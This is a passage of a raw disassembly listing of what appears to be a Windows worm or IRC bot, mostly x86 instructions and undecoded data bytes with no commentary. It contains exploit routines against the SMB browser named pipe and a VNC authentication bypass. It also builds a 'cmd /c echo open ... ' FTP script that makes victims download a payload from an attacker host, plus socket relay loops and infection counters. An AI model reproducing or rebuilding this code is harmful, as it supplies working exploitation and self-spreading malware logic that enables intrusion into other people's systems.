; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 44h ; D db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A7h ; § db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 28h ; ( db 0D1h ; Ñ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 2710A4Eh nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43221C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432208 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2700000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 26708E6h jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] call near ptr 2710000h nop push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4321FF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321A4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321AC[esi] push 7 add eax, edi push offset dword_432198 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432038 push eax call sub_41C310 mov eax, dword_4321A8[esi] add esp, 30h cmp byte_4321B0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321C8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321C8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 26708E6h push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 2700834h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] call near ptr 2710000h nop test eax, eax jnz short loc_40DE4F call near ptr 2690CE2h nop cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 26A0732h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D6h ; Ö db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 0E8h ; è db 2Ch ; , db 34h ; 4 db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ° db 0ACh ; ¬ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 50h ; P db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 38h ; 8 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 87h ; ‡ db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 8Bh ; ‹ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0E7h ; ç db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ã dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 2825A4E8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43140Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322C4 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433508 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431410[eax] push ebx lea eax, dword_431410[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx call near ptr 71AB1A6Dh nop loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 nop call near ptr 2700000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 nop call near ptr 2710000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 200CE890h, 0FF500231h, 4CDCA835h, 0FFE89000h, 5002311Fh dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43350Ch, 0FAE89057h, 8D022625h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 281F7FE8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1F66E890h, 0FF6A0228h, 0FFF04589h, 0E890D875h, 22920B6h dd 0F075FF57h, 27E3E890h, 0FF570229h, 0E890EC75h, 22927D9h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 230267Dh dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Eh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Eh, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2E176FE8h, 57056A02h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 